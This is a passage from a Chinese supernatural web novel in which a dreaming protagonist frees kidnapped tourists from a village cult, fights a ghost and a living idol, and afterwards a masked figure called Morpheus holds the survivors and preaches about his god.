宴泠昭绕到神像背后,蹲下身子,手指沿着地砖的边缘轻轻滑动。果然,他感觉到了一道细微的缝隙。用力一拉,那块地砖轻松地被掀开,露出一个黑洞洞的入口和向下延伸的石阶。
宴泠昭将地砖轻轻放到一旁。然后调整了下呼吸,悄无声息地进入了黑暗的地下通道。
起初的一段路黑得伸手不见五指,他不得不放慢脚步,用手扶着墙壁前进。随着深入,一丝微弱的光线开始渗透进来,为前方的道路提供了些许照明。
应该是地下室的灯光,看来他离目的地不远了。
走了约摸十几米,宴泠昭感觉已经接近地下室的入口,旋即停下脚步,屏住呼吸,仔细倾听。
隐约的啜泣声和说话声传入他的耳中。
“呜呜,完了,我们居然进了邪.教窟了,而且看他们的意思要搞人祭,我们死定了。”一个女声带着哭腔说道,声音中充满了绝望。
“李导游,你和他们是不是一伙的,是不是你故意骗我们来的?”一个男声愤怒的质问。
“不是啊!我要是的话,能被一起捆着吗?”另一个男声——显然是被指责的李导游的——急切的辩解着,语气里满是委屈。
果然啊,天底下没有免费的午餐,这么浅显的道理,他明明懂,却还是踩了坑。
悔不当初啊!
主要是没想到——国家这么多年来一直在大力打击邪.教活动,而汪家村这个地区宗族势力根深蒂固,信教的人根本没几个。
加上一山不容二虎,有了宗族势力,哪里又会给宗教势力让路?
所以,他是真的万万没想到啊!
李导游此刻的心情无比憋屈后悔,用脚趾头猜也能猜到,一旦到了要“牺牲”某人的时候,他毫无疑问会是第一个被推出去的。
完了完了,他的职业生涯完了,人生生涯估计也要完了。
从对话的自然流畅度判断,应该是没有村民在近距离看守的,不过也不排除是看守的人懒得说话。
在现实世界中,宴泠昭肯定会更加谨慎,多做些侦查和准备工作。但这是梦,何必那么小心翼翼?
宴泠昭默默掂了掂装在裤子口袋里的石头,这就是他此刻唯一的武器了。
做好心理准备后,宴泠昭大步走下最后几级台阶,进入了地下室的光亮处。
地下室比他想象的要宽敞,约有五六十平米,四壁由粗糙的石块砌成,上面挂着几盏昏暗的油灯,投下摇曳的光影。空气潮湿浑浊,带着一股发霉的气味。房间中央的地面上画着一个巨大的奇特符号,似乎是某种祭祀用的法阵。
没看到看守的人,看来祠堂门口的那两个村民是唯一的看守。
也太不靠谱了。
幸好他不是邪.教阵营的。
靠墙的地方,二十几个人被绳索捆绑着,脸上写满了惊恐和疲惫。他们显然就是被困在此地的游客。
有人看到宴泠昭的出现先是一惊,继而眼中闪过希望的光芒;也有人露出警惕的神色,生怕这又是一个来伤害他们的邪.教徒。
在游客们开口前,宴泠昭竖起食指放在唇前,做了个噤声的手势,随后迅速走到离他最近的一位游客面前,麻利地解开了绑住对方的绳索。其他游客见状,眼中的希望之光更加明亮。
宴泠昭继续为游客们一一松绑。每解救一人,他都会轻声询问他们的伤势,并给予简单的安慰。
很快,所有人都被释放,他们揉着被绳索勒出红痕的手腕,眼中充满感激。
宴泠昭:“保持安静,跟我来。”
就在他准备带领众人撤离的那一刻,他注意到众人的表情突然变得惊恐,眼睛瞪得滚圆。宴泠昭顿了下,迅速转身望向身后。
在通往外界的唯一出入口处,站着一个中年男子。穿着一件宽大的灰色长袍,面色苍白得没有血色,嘴角挂着一抹诡异的微笑。
“真君说有小老鼠进来了,果然啊。”男子语调轻柔,却带着一种令人毛骨悚然的冷漠,“那些废物,看个门都看不好。”
宴泠昭立刻意识到,不出意外,这应该就是汪梁鹏提到的邪.教首领:汪文全。
青年的目光在中年男人脸上停顿了两秒,随后转移到中年男人的脚下。
汪文全的脚离地面有一寸左右的距离,整个人漂浮在空中。
很显然。
“鬼?”宴泠昭平静的问道。
汪文全脸上的笑容扩大:“聪明的老鼠。是的,身为普通人的汪文全已经死去,现在的我,是修道者汪文全。不过这与你无关,因为你很快就会成为真君的祭品。”
话音刚落,汪文全猛然向前冲来,速度快得不可思议。他的双手不知何时已经变成了利爪,直取宴泠昭的咽喉。
宴泠昭侧身避开,同时右手迅疾如风,掏出口袋中的石头,猛然砸向汪文全的太阳穴。
“砰”石头准确命中,这一击宴泠昭用了全力,汪文全的太阳穴都凹陷了下去,放在正常人身上足以致命,但汪文全却是毫无反应。
“普通的攻击对我无效。”汪文全微笑道,“你太天真了。”
宴泠昭面无表情,看不出是什么情绪。
在他身后,被解救的游客们惊恐地退到墙角。
卧槽,真有鬼啊!不对,应该说,居然真让他们遇到了,也不知道是该说幸运还是不幸。
汪文全再次攻来,这次更加迅猛。
宴泠昭连续躲闪,但空间有限,难以施展。他的左臂被汪文全的利爪划过,瞬间感到一阵刺骨的寒意,伴随着剧痛。
宴泠昭意识到自己必须改变战术。
既然这是梦境,那么或许他能够调动一些现实中不可能的力量?
宴泠昭回忆起与鬼母战斗时,月光带给他的那种强大力量。
他深呼一口气,集中精神,寻找当时的感觉。好消息:他感受到了某种温暖的波动,从心脏开始,逐渐蔓延至全身。
在汪文全又一次扑来时,宴泠昭不再躲避,而是迎头对上。他的拳头裹挟着一层淡淡的光芒,正面击中汪文全的胸膛。
“嘭”汪文全整个人倒飞出去,重重撞在墙上。
“嗯?”汪文全活动了下脖颈,“你也得到了赐福?”
宴泠昭没说话。
被无视的汪文全心下恼怒,身体开始扭曲变形,皮肤下似乎有无数虫子在蠕动。他的手臂延长,变成了两条粗壮的触须,头部也开始膨胀,变得更加狰狞。
“我要将你的灵魂献祭给真君。”汪文全的声音此刻完全变形,如同数十人同时说话,其中有男有女,有老有少,就像是无数个灵魂融合在一起。
围观的游客们发出惊恐的尖叫,有几个人不敢看,鹌鹑般捂住自己的眼睛。
宴泠昭没有畏惧,反而感到一阵兴奋。这样的战斗,在现实里是很难经历的,好比这股力量,现实里他除了鬼母那次,便再没有成功用出来过。
汪文全的触须如同蟒蛇般袭来,宴泠昭灵巧地闪避,同时抓住其中一条,用力一扯。汪文全的身体失去平衡,被拉向宴泠昭。
就是现在!
宴泠昭双手扣住汪文全的头部,用力一拧。
“咔嚓”骨骼断裂的声音清脆响亮。
宴泠昭没有收力,用了十成的力,汪文全的脑袋被他拧了180°,全然是断了。
汪文全的身体剧烈抽搐了几下,随后静止不动,缓缓恢复为人类的形态。宴泠昭松开手,让尸体跌落在地。
游客们目瞪口呆的看着这一幕,震惊得说不出话来。
首先回过神的是李导游,他结结巴巴的说:“他他不是人?是是鬼?”
“嗯。”宴泠昭回答,“他已经死了,只是被某种力量操控着行动。”
游客中有人开始小声讨论:
“我的天,我们真的见鬼了”
“那个人他扭断了鬼的脖子他是谁?”
“特委会的人吧,或者特殊部门的政府公布的那种特殊人士”
宴泠昭没有时间解释,也懒得解释:“走。”
他带领众人沿着来时的通道向上爬。
当重新回到祠堂时,宴泠昭发现先前被他击晕的两名守卫躺在地上,已经没有了生命迹象。他们面色惨白,表情扭曲,仿佛死前经历了某种极度的痛苦。
人不是他杀的,而死的这么诡异,只能是汪文全动的手。
宴泠昭收回视线,转头对游客们说:“你们先走,我殿后。”
众人踉踉跄跄地走出祠堂,呼吸着新鲜空气,感到解脱的庆幸。
“往那个方向跑。”宴泠昭指向村外的小路,“一直往前,应该能找到公路。”
当然,这是他猜的。不过也不是瞎猜,是观察过后的推测。
游客们犹豫不决,李导游艾艾问道:“你不和我们一起走吗?”
“我还有些事情要处理。”宴泠昭平静的回答,“你们先走。”
游客们互相看了看,知道自己恐怕帮不上什么忙,反而可能成为累赘。他们向宴泠昭投去感激的眼神,然后转身向他指的方向跑去。
就在他们刚跑了几步时,大地突然开始剧烈震动。
“轰隆隆”
几个游客没站稳,幸好身边有人及时扶住,才没有摔倒。
和他预想的一样,这事没完。身为大boss的邪神还没出场,怎么可能结束。
宴泠昭催促道:“别回头,往前跑。”
游客们闻言,顾不上疑惑,拼命向村外跑去。
宴泠昭则转身面对祠堂,等待最终大boss的现身。
大地的震动越来越剧烈,祠堂的墙壁开始出现裂缝,瓦片纷纷坠落。
随着一声巨响,整个祠堂轰然倒塌,砖石瓦片四散飞溅,尘土弥漫。
宴泠昭用手臂遮住脸,等待灰尘散去。
当视线重新变得清晰时,他看到那尊原本坐在祠堂里的神像,此刻站了起来,高达三米有余。不再是雕像的质地,而是披着某种漆黑的、粘稠的、不断流动的物质,如同活物一般。狰狞的面孔上,嘴角的弧度比之前更加扭曲恐怖。
神像迈出第一步,大地为之震颤。那原本僵硬的面部表情在“活”过来的瞬间,嘴角缓慢向上牵动。
神像迈出第二步,周围的植物瞬间枯萎。而它的皮肤,如果那能被称为皮肤的话,不断蠕动着,仿佛有无数生物在其下爬行。
神像抬脚,准备迈出第三步,宴泠昭对危险的直觉拉响最高级警报,他意识到绝不能让神像走出这一步,否则一定会发生不好的事。
另一边。
游客们“逃亡”的前路上出现一道人影。
72 第 72 章
◎原来是同僚◎
如同一位从中世纪瘟疫时代踏入现代的异客——对方身材高挑, 披着一件垂至脚踝的黑色风衣,面容被一副精致的鸟嘴面具完全遮挡, 那突出的长喙在月光下投射下诡谲的剪影。头顶的宽檐黑帽更增添了几分神秘色彩,整个形象就像是从中世纪欧洲的木刻版画中活生生走出的瘟疫医生。
游客们的脚步戛然而止,呼吸几乎凝固在夜色中。
不久前的恐怖经历还历历在目,让他们的警觉性提升到了极点。加上村子偏远,离最近的城镇都有几十公里(他们就是从那个城镇过来的,所以很清楚), 而整个村落如今已被证实是一个邪教聚集地。
是以,对于此刻突然出现的陌生人,无论是村民还是外来者,都足以引发他们的深度怀疑。
特别是那副鸟嘴面具的打扮, 在这深夜山村的背景下显得格外不祥。
没人敢率先开口打破沉默,但时间却在无情流逝。他们身后, 那尊三米多高的活体神像随时可能追上来, 将他们淹没在恐怖之中。
终于, 李导游深吸一口气,迈出一步,硬着头皮问道:“你是谁?你想做什么?”
这一举动让原本对他心存怨气的游客们对他怨气散了几分。
面具人的回应带着一种难以描述的优雅,他的声音低沉磁性, 每一个字都像是经过精心雕琢:“你们好, 可以叫我墨菲斯。”
众人暗自交换了惊疑不定的眼神。
墨菲斯?外国人吗?
面具人——现在应该称他为墨菲斯了, 停顿了片刻,似乎在观察众人的反应, 随后继续道:“我看你们挺闲的, 应该有时间听我讲一讲我主。”
游客们面面相觑, 眼中写满不可思议。
闲?在逃命的途中被形容为“闲”?这人是不是没看到他们身后那个庞大的、诡异的活体雕像?
慢着“我主”?这熟悉的称谓瞬间触发了众人脆弱的神经。
“靠北了, 这人和这村是一伙的。”一个游客低声咒骂。
与此同时。
股强烈的直觉告诉宴泠昭绝对不能让神像落下第三步,这预感是如此强烈,以至于他来不及思考其合理性,身体已经先一步行动起来。
他冲上去,双手紧紧抓住神像即将落下的右腿,试图阻止它下脚。然而神像的材质出乎意料的坚硬,即使宴泠昭将全身的力量都用上,也掰不断,只能说勉强减缓它落脚的速度。
局面一时间陷入僵持。
宴泠昭全身肌肉紧绷,血管在额头凸起,双臂因极度用力而颤抖。
他的手掌紧贴在神像腿部,感受到一种令人作呕的触感——神像表面覆盖着一层黑漆漆的、如同石油般的粘稠液体。这些液体仿佛渗透了他的皮肤,带来一种灼烧的疼痛。
还好这只是梦。宴泠昭想。
不然他就算把自己洗秃噜皮了,也膈应得慌。
宴泠昭的阻碍让神像感到恼怒,它那扭曲的脸上,永恒的笑容微微抽出了几下。随后,它加大了下压的力量,宴泠昭的双腿开始在地面上滑动,鞋底在泥土上犁出两道长痕。
不行,这样下去撑不了多久。
宴泠昭额头渗出豆大的汗珠,他能感觉到自己的力气正在迅速流失,还要忍受烧灼的剧痛。
就在这危急时刻,月光似乎变得明亮了几分,柔和的幽冷光辉落在宴泠昭身上,宴泠昭立刻感到一股熟悉的暖流涌入体内,补充了消耗的能量,被黑色液体触碰到的部位也不疼了。
宴泠昭没有犹豫,控制体内那股暖流全部集中到手上,银色的光芒开始从他的指间渗出,与黑色液体相触的瞬间发出“嗞嗞”声,如同水滴落在滚烫的铁板上。
神像的动作明显迟滞了一瞬,那张笑脸首次出现了类似痛苦的表情。
宴泠昭抓住这一刻的机会,不再只是被动抵抗。他双手猛然发力,一道白光如闪电般沿着神像的腿部攀升,迅速蔓延至整个躯干。
一声刺耳的尖啸从神像身上传出,不过不是通过声波,而是直接在头脑中回响,如同无数指甲在黑板上刮擦的声音被放大了千百倍,听得宴泠昭眼前发黑。
一阵眩晕,宴泠昭咬紧牙关,没有松手。白光与那黑色液体的对抗变得更加激烈,仿佛光明与黑暗在神像表面缠斗,好似两条巨龙在争夺领地。
还不够。
他需要更多的力量,或者说,一个更直接的方法。
突然,一个念头在宴泠昭脑海中浮现:既然这是他的梦,那么理论上,他应该能够控制。
宴泠昭闭上眼睛,集中精神,进入冥想状态。他想到科学院研发的“对鬼武器”,虽然不知道原理,但加上这层“buff”就够了
这是他的梦,他完全可以凭空创造。
当宴泠昭再次睁开双眼,他突然松开一只手,神像立刻趁机加大压力。宴泠昭左手继续抵住神像的腿,右手则伸向虚空。
下一秒,一把外型普通的匕首出现在他的右手上。
宴泠昭不假思索的将全部力量灌注入匕首,匕首表面瞬间浮现一层白光。
紧接着宴泠昭收回手并向后退了一步,神像失去平衡,向前倾斜。抓住这个机会,宴泠昭猛地将匕首刺入神像腿部与躯干连接的关节处。
“呲——铮!”
火花四溅。虽然仍旧艰难,但总算是破了神像的防。
黑色液体从神像的伤口中喷涌而出,在接触地面的刹那蒸发成墨色的烟雾。神像的身体剧烈震颤,它试图后退,但仅剩的左腿已经无法支撑身体平衡,歪斜着倒了下去。
宴泠昭没有给它恢复的机会。他双手握住匕首,跃起数米,带着全身的力量,直刺向神像的头部,一路向下。
匕首如热刀切黄油般没入神像的头颅,再划开神像的胸膛。一道刺眼的白光从伤口中迸发而出,照亮了整个夜空。
宴泠昭被强大的冲击波抛飞出去,重重落在地上。当他再次抬起头时,神像已不复存在。它的位置只剩下一滩缓慢蒸发的黑色液体,以及散落的、不断融化的石块碎片。
手上的匕首光芒迅速减弱,当最后一点光芒消失,匕首化为灰烬,随风飘散。
宴泠昭喘着粗气,感到一种前所未有的疲惫。歇了一会,他站起身来,拍打着衣服上的灰尘,突然注意到不远处,明明应该跑远了的游客们不知道为什么回来了,人群里还多了个身穿黑色风衣、戴着鸟嘴面具的“异类”。?
有点眼熟,不确定,再看一下。
宴泠昭盯着面具人看,视线几乎凝固在那副鸟嘴面具上,甚至当众人走到不足三米距离了,也依然未曾偏移半分。
而游客们刚刚亲眼目睹了宴泠昭以一己之力击败那尊恐怖的活体神像,此刻都将他视为救世主般的存在。他们的眼神里充满了求助,期待宴泠昭能再次带领他们脱离险境。
可惜宴泠昭此刻满心满眼都是面具人,压根没注意到旅行团希冀的目光。
——他终于想起为何会觉得面具人眼熟了。
这不就是那个导致他再也不敢去菜市场半步的神经病吗?叫什么来着好像是墨菲斯。
怎么回事?这家伙怎么都阴魂不散到他的梦里了。
宴泠昭的嘴角顿时向下撇了0.0001毫米,这种微小的变化常人绝无可能发现,但墨菲斯不是常人。
只见那高大的面具人猛地做出一个极度夸张的捂心口动作,仿佛受到了天大的委屈。即使隔着面具,也能感受到他声音中浸满的伤心:“亲爱的,好久不见,再见时你却是如此嫌弃我,我的心都碎了。”
亲、亲爱的?
众游客的表情瞬间凝固,不可思议的在宴泠昭和墨菲斯之间来回打量。
空气仿佛结冰般凝固,只剩下几声吞咽口水的声音。
“坏了。”一位游客小声嘀咕:“这俩人不会是一伙的吧?”
“真是活见鬼了——不对,确实是见鬼了。另外,我想起网络上一个段子:报警了,结果对面的手机响了哈哈,我们真是天选倒霉蛋啊。”另一位游客的声音中充满了绝望。
不过仔细想来,面具人似乎并未对他们做出实质性的伤害。除了拦住去路、威胁他们回来、以及滔滔不绝的讲述什么我主的光辉事迹外,倒也没有更进一步的举动
哈哈,区区刚出狼窝又入虎穴罢了。
宴泠昭面无表情,语气冷淡:“谁允许你来的?”
谁允许这个讨厌的家伙进入他的梦境了?
宴泠昭意念微动,尝试用“梦境主人”的权力将墨菲斯驱逐出去。
墨菲斯似乎感应到了什么,突然高声叫道:“等下!不要这么绝情,我是真心想和你交朋友的。”
宴泠昭的神情愈发冷漠:“我不想。”
拒绝的话语如刀锋般锐利冰冷。
墨菲斯闻言,竟当场做出了令人目瞪口呆的举动——这个身高两米的大高个,蹲下身,双臂环抱膝盖,活像个受了委屈的孩子。还空出一只手,在地上画着小圈圈,嘴里念叨着诸如什么“本是同根生,相煎何太急”之类的话。
这一幕荒谬至极。
他那庞大的身躯与这孩子气的行为形成了极度不协调的画面,好比一头北极熊在撒娇。
宴泠昭懒得对这荒唐行径做出回应。刚才的战斗让他消耗了大量精力,此刻他只想尽快脱离这个清醒梦。
但要如何醒来?他曾尝试掐自己,却毫无感觉;而在战斗中受伤却能真切的感到疼痛,战后虽伤势消失,但疲惫感依然存在。
以上种种,意味着他靠自我伤害和疼痛都是没用的。
在一众游客疑惑的目光中,宴泠昭左右环顾,似乎在寻找什么。
突然,一种莫名的直觉引导他抬头望向夜空深处。那里的星辰似乎在对他低语,月光仿佛在向他指引某种道路。
冥冥之中,他感到了一种召唤。
下一秒,没有任何预兆,宴泠昭的身影在众人眼前逐渐变得透明,最终完全消失,仿佛从未存在过一般。
旅游团惊得说不出话来。哪怕他们知道宴泠昭多半就是国家所说的那种特殊性人才,但亲眼目睹这种一点也不科学的能力,还是让他们震撼不已。
“这就消失了?”有人结结巴巴的说道,声音中充满了难以置信。
墨菲斯见人走了,遗憾的“啧”了一声。
说起来,他是感应到神明的力量才赶来此地的,来之前也没想到会遇见宴泠昭。
——怪不得他对宴泠昭有种一见如故的熟稔感呢。
原来是同僚啊。
不过。墨菲斯在心中思忖。这位同僚播撒我主信仰的方式实在太过粗糙,从入侵者手中救了人却一言不发就离开,连我主的名号都不留下,这些人如何知晓是谁给予了他们拯救?
看来日后有必要找时间与这位同僚好好聊聊。
至于现在
墨菲斯站起身来,高大的身影在月光下拉出长长的影子。他转头看向悄咪咪试图溜走的旅行团,又扫视了一眼那些听到动静、前来查看却被吓得躲在家里或角落的村民。
他的声音在夜色中飘散,带着一种不容拒绝的温柔与优雅:“迷途的羔羊们,你们应当改邪归正。而得到拯救的人啊,你们理应懂得感恩。”
月光下,墨菲斯脸上的鸟嘴面具似乎自行转动了角度,形成了一个诡异的微笑弧度。
73 第 73 章
◎传道◎
宴泠昭恍惚间感到自己的身体、或者更准确的说, 是感知视野在升高。
不断的攀升,越来越高。
很快, 村庄在他的视野中缩小成了一个小黑点,连绵起伏的山脉如同褶皱般环绕。
那些曾经在他眼中高耸如墙的群山,此刻不过是地球表面上细微的纹理;身边稀薄的云层触手可及,出于本能的好奇,宴泠昭伸手轻摸向那看似实体的白雾。
就在碰到的刹那,天旋地转。
好在这种剧烈的眩晕感稍纵即逝, 仅持续了两秒。
当感官重新稳定,宴泠昭发现自己身处于深邃的蓝色虚空,无边的寂寥与广阔包围了他。
眼前是一个庞大得恐怖的黑色球体。
起初,宴泠昭无法理解自己所见为何物, 直到环顾四周,意识到自己正漂浮在宇宙中。那么, 这黑色巨球必然是某颗行星。
——出于某种无法解释的直觉, 他回头望去。
一颗蔚蓝色的星球静静的悬挂在不远处, 白色的云层如同细腻的画笔在蓝色画布上留下的点缀,陆地与海洋的界线清晰可辨。
是地球。
一种壮美的震撼油然而生。虽然他曾在无数图片和纪录片中见过这样的景象,但亲眼所见的冲击力是任何媒介都无法复制的。
宴泠昭几乎忘记了呼吸,看得回不过神。
良久, 他才缓缓转回头, 重新审视面前这颗谜一般的黑色星体。
依照与地球的相对位置
宴泠昭回忆起曾经观看过的一部宇宙纪录片。尽管那些影像多是计算机生成的模拟场景, 但基本构造大致相当。根据星体间的位置关系,眼前这颗黑色巨球应该是——
太阳。
这结论冒出的瞬间, 宴泠昭自己都感到不可思议。太阳怎么可能是黑色的?除非太阳表面完全被太阳黑子覆盖。
如果真是如此, 地球将面临无法想象的灾难。
首先, 太阳黑子活动会导致强烈的电磁辐射, 干扰地球的电离层,使所有通信和导航系统陷入瘫痪。随之而来的地磁暴会摧毁大部分电子设备,将现代文明推回石器时代;其次,太阳辐射模式的剧变会导致全球气候系统崩溃,极端高温与冰期可能交替出现。
最终,旱灾、洪水、飓风等自然灾害将摧毁人类的生存环境。
这并不是说太阳黑子不该存在,实际上,太阳黑子是正常现象。
只不过一般情况下,它们绝不应该形成得如此密集,至少不能多到覆盖整个太阳表面。这种数量的太阳黑子,足以触发真正意义上的世界末日。
果然是梦。要是现实,他已经死了。
宴泠昭想。
那么,他这个清醒梦怎么还没醒?不仅是没醒,甚至给他换了个“片场”。不过想想能远离墨菲斯,在这宁静深邃的宇宙中待着,倒也不是不行。
只是他究竟什么时候能醒?
宴泠昭默默叹了口气。
就在这一缕叹息刚刚散开的瞬间,面前巨大的黑色球体突然震颤起来,立刻吸引了宴泠昭的全部注意力。
反正是梦,死不了。宴泠昭心里根本不慌。
他目不转睛的凝视着眼前的“黑太阳”,等待着接下来的发展。
黑太阳的震动持续了约三十余秒,逐渐趋于平静。
宴泠昭正想着就这?突然,太阳表面上的黑色物质开始移动,仿佛活物一般。
那些漆黑的物质分离、延展,逐渐显露出它们的真实形态——无数根细长的、蠕动的黑色触手。
此情此景,让宴泠昭想起他发病时幻视过的黑太阳。
这么看来,太阳表面上的黑色并非太阳本身的颜色,而是这些无数的漆黑触手密密麻麻的交织在一起,组成的一张密不透风的“黑网”。
宴泠昭面无表情的脸庞上出现了一丝裂纹。
好恶心。
好恶心好恶心好恶心好恶心好恶心好恶心好恶心。
一股强烈的抵触和排斥感涌上心头。这种感觉就像是在家里发现了一窝蟑螂。
所以——怎么又是蟑螂?他最近到底为什么总和蟑螂过不去?
万幸这只是梦。
在梦里,他是无所不能的。
宴泠昭紧盯着面前的黑太阳,在脑海中构想出一台吸尘器。此念头刚一形成,他手中便真的出现了那台想象中的设备。
他一只手握着吸头,另一只手稳住把柄,用意念启动开关。
在真空的宇宙中自然听不到任何声音,是以吸尘器的运作毫无噪音。而这个场景荒诞到了极点——体积在黑太阳面前小得如同尘埃的人类,手持同样微不足道的吸尘器,就这样开始清理起其表面上的黑色触手。
宴泠昭默不作声地吭哧吭哧埋头苦干。
就像织毛衣时抽出线头那般,太阳表面那层黑色的“毛线”被一圈一圈的抽离,渐渐露出下方炽热火红的颜色。
当黑色触手被清除约三分之一时,无数含糊不清的呓语突然在宴泠昭的脑海中响起。如同一群看不见的蚊子在耳边盘旋,令人烦躁不堪。
但还是那句话,这是他的梦。
宴泠昭夹着吸尘器的把手,一只手继续拿着吸头,另一只手凭空变出一瓶标志性的绿色驱蚊水。
sixgod,你值得拥有。
还配备了豪华喷雾头。价格比正常瓶装贵上五块。
宴泠昭毫不犹豫地按下喷头。清新的花香瞬间充盈鼻腔,而那些令人烦躁的嗡嗡声也奇迹般的消失了。
就这样,他一边喷洒花露水,一边继续“吸尘”。太阳表面的黑色触手很快被清理到了尽头,只剩下顶部一小块未处理。
眼看“清理任务”就要完成,胜利在望。宴泠昭突然感到一股不可抗拒的力量袭来,将他猛地向后推去。
强烈的失重感袭来,如同从万丈高空自由坠落。
下一刻——
基地。
躺在床上的青年猛然睁开双眼,胸口急剧起伏,仿佛刚从水下憋气中挣脱。
外面。
一轮下弦月高悬夜空,柔和的月光洒落大地。在那片银白色的光晕中,似乎有什么东西在闪烁,但转瞬即逝
汪家村。
村委会前的空地上,两伙人正围坐在一起,不过一边是游客,一边是村民,二者中间有条泾渭分明的“线”。
游客看村民的眼神恨死了,要不是被强行按在这儿,他们早报警了,根本不可能和这群邪教徒相安无事的待在一起。
众人面前,墨菲斯张开双臂,用深情的语气讲话:
“羔羊们。”他的声音一如既往的低沉富有磁性,“你们即将聆听的是关于万物起源的真理,关于这个世界的造物主——苍珥万象九重终焉阒阴至尊。”
一位年轻游客忍不住在心中腹诽:这名字有够拗口的,像是随便从字典里抓了一把汉字拼凑而成。
但这想法他只敢藏在心底,不敢流露丝毫。
“在地球尚未成形之际。”墨菲斯抬头仰望星空,声音中带着近乎虔诚的颤抖,“祂于虚无中孕育了世界的种子,又创造了生命。”
墨菲斯优雅地踱步,黑色风衣在夜风中飘扬、
“而人类,对,就是你们!是至尊最为看重的造物。在远古时期,当你们的祖先还蜷缩在洞穴中,惧怕闪电与野兽时,是至尊亲手点燃了你们灵魂中的火焰,赐予了你们智慧与启示,教导你们在黑暗中寻找光明,在混沌中创造秩序。”
几位看起来应该是认识的游客默默交换了一个眼神。
这套说辞怎么听着有点混合了各种宗教教义大杂烩的既视感?
墨菲斯似乎感知到了他们的疑虑,声音骤然提高:“你们认为这是荒谬的神话吗?那请解释,为何全球各地的历史文化中、在毫无联系的情况下,都雕刻了相似的图腾?为何最早的壁画中都出现了相似的意象?”
说着,他从风衣内侧掏出一叠照片,一张张展示给众人看:“这是亚特兰蒂斯的泥板书、这是南美玛雅文明遗址的石刻,这是非洲部落的图腾,这是华夏的岩画它们看似不同,实则都在描绘同一个存在——那就是:那位至高无上的造物主!哦,当然,你们也可以称祂为创世神。都一个意思。”
没读过多少书的人:“”听不懂。
读过些书的人:“”越说越离谱了,亚特兰蒂斯都出来了。这是传说中的古文明,到底存不存在目前还没有得到证实。
至于有图有真相。
拜托,现在视频都能P,照片很难P吗?
“远古时期的人类是懂得敬畏与感恩的。”墨菲斯的语调突兀下降,显得沉重。他摸着自己的鸟嘴面具,仿佛在擦拭看不见的泪水,“他们建造神庙,献上祭品,歌颂至尊的荣光。但后来后来发生了什么?我只不过是跟随至尊一同沉睡,再醒来,人类竟然集体遗忘了至尊!不仅如此,还将至尊视为邪恶,将祂的教诲视为迷信!”
“这是何等的忘恩负义!何等的令人心痛!”墨菲斯猛地跪倒在地,双手捂住面具,肩膀颤抖,仿佛在哭泣。
游客们面面相觑,不知该如何反应。
说实话,墨菲斯表演得挺滑稽的,有点想笑。但没人敢笑,毕竟不久前,他们亲眼目睹了那个离奇消失的年轻人的能力——那种力量令人心生畏惧。
而眼前这个面具人,疑似和年轻人是同伙。
村民们则是另一番心态。
对他们而言,神明是谁并不重要,重要的是神明能否带来实质性的好处。之前那个“蚀日真君”确实在短期内为他们带来了财富,他们才信服的。
村民们偷偷瞥了一眼祠堂的方向——那里如今现在只剩一片废墟。
他们不由得打了个寒颤,低下头,嘴里机械的跟着墨菲斯念道:“我主苍苍”卡住了。
坏了,名字太长,还拗口,根本记不住。
村民们深怕被报复,其中有个小聪明喊道:“至尊!”
前面的忘了,中间的忘了,好在最后的没忘。其他村民见状,得到启发,也跟着念“至尊”。
他们或许不相信墨菲斯的话,但在经历了今晚的恐怖之后,谁敢反抗?尤其是亲眼目睹了其同伙展现出不可思议的力量。
墨菲斯摇着头幽幽叹了口气:“你们很不诚,但我理解。真理需要时间扎根,你们以后会明白的。”
说完,他转向旅行团成员,游客们紧张地挤在一起,像一群受惊的羊。
“你们呢?是否愿意接受至尊的启示?”墨菲斯柔声问道。
李导游咽了口唾沫,颤抖着回答:“我我们愿意听听您讲述。”
他能说什么呢?拒绝?别开玩笑了,真的会死的!
就这样,墨菲斯的“布道”持续了整个后半夜。他讲述了苍珥万象九重终焉阒阴至尊的荣光史诗——祂如何创造世界、创造生命,如何在不同时代以不同形象显灵,引导人类文明的进程
时间一分一秒的流逝。
第一缕晨光悄然爬上东方的山脊,给漆黑的夜空染上一抹微弱的白色。
旅行团中有几位体力不支,靠着同伴的肩膀昏昏欲睡,与依然精神奕奕,声音中没有丝毫疲惫的墨菲斯形成鲜明对比。
“用你们人类的记载来说,在第十二个纪元,学名第四纪的尾声,至尊创造了你们作为至尊最看重的造物,你们还算聪明,我看有人发现了其中存在的“进化断层”——”
就在这时,一声响亮的咕咕声打断了墨菲斯的讲述。那是一位中年游客的肚子发出的抗议,自从昨晚被绑架以来,他们已经超过十二小时没有进食了。
整个空地一瞬间安静下来,所有人都屏住呼吸,惊恐的望着发出声音的游客,仿佛他犯了滔天大罪。
那位中年人的脸色也瞬间变得煞白,冷汗顺着额头流下。
完了,会不会被认为是不敬,把他嘎了?
墨菲斯停下讲述,转头看向声音的来源。
一阵令人窒息的沉默后,他突然发出一声轻笑:“啊,不好意思,我忘记你们人类的生理需求了。饥饿多么原始的本能。”
众人眼中闪过一丝希望——或许这场漫长的“讲座”终于要结束了?
然而,事实令他们失望。
墨菲斯抬起右手,在空气中做了个抓取的动作。然后,他的手指似乎抓住了虚无中的某个缝隙,轻轻一拉,空气瞬间仿佛被撕开了一个口子。接着,他从这个看不见的口袋里,拽出了一大袋热气腾腾的包子。
“你们吃包子吗?”墨菲斯语气轻松的说道,“或者想吃什么跟我说。我可以提供各种食物,中餐、法餐、土耳其菜等等,什么类型的都有,只要你们说出名字。”
现场鸦雀无声。
游客们和村民们都呆若木鸡。
半晌,一位年轻女游客忍不住小声问道:“这、这是怎么做到的?”
墨菲斯笑而不语。
——天知道有面具挡着,众人是为什么觉得他在微笑的。可能是一种直觉?
墨菲斯将装满包子的袋子放在地上,示意大家自行取用:“吃吧,吃饱后继续。至尊的事迹还有很多,而你们幸运的被选中,将成为新时代的种子,传播至尊的福音。”
在饥饿的驱使下、不过话又说回来,他们也没有反抗的资本。人们小心翼翼的接近袋子,第一个勇敢尝试的是那位肚子最先叫的中年游客,他颤抖着手拿起一个包子,轻轻咬了一口咽下。
味道还不错,吃下去也没死。
这仿佛是一个信号,其他人也吃了起来。
值得一提的是,无论多少人取食,袋子里的包子都似乎永远取之不尽一般,一点没少。
74 第 74 章
◎旅行团:塞翁失马,焉知非福◎
李导游, 全名李光志,为利益所诱惑, 带着一群游客前往汪家村准备为期两天一夜的农家乐之旅。却险些让整团人成为邪教的祭品。幸运的是,一位神秘的年轻人从天而降,将他们救了出来。
然而,事情并没有结束。
年轻人居然也是邪教徒!他们刚逃离虎口,又入了狼窝。而那个救了他们的年轻人离开后,他的同伙——一个仿佛从中世纪欧洲瘟疫时期走出的怪人, 开始了他那不知疲倦的传教“课”。
今天是他们被软禁的第七天。
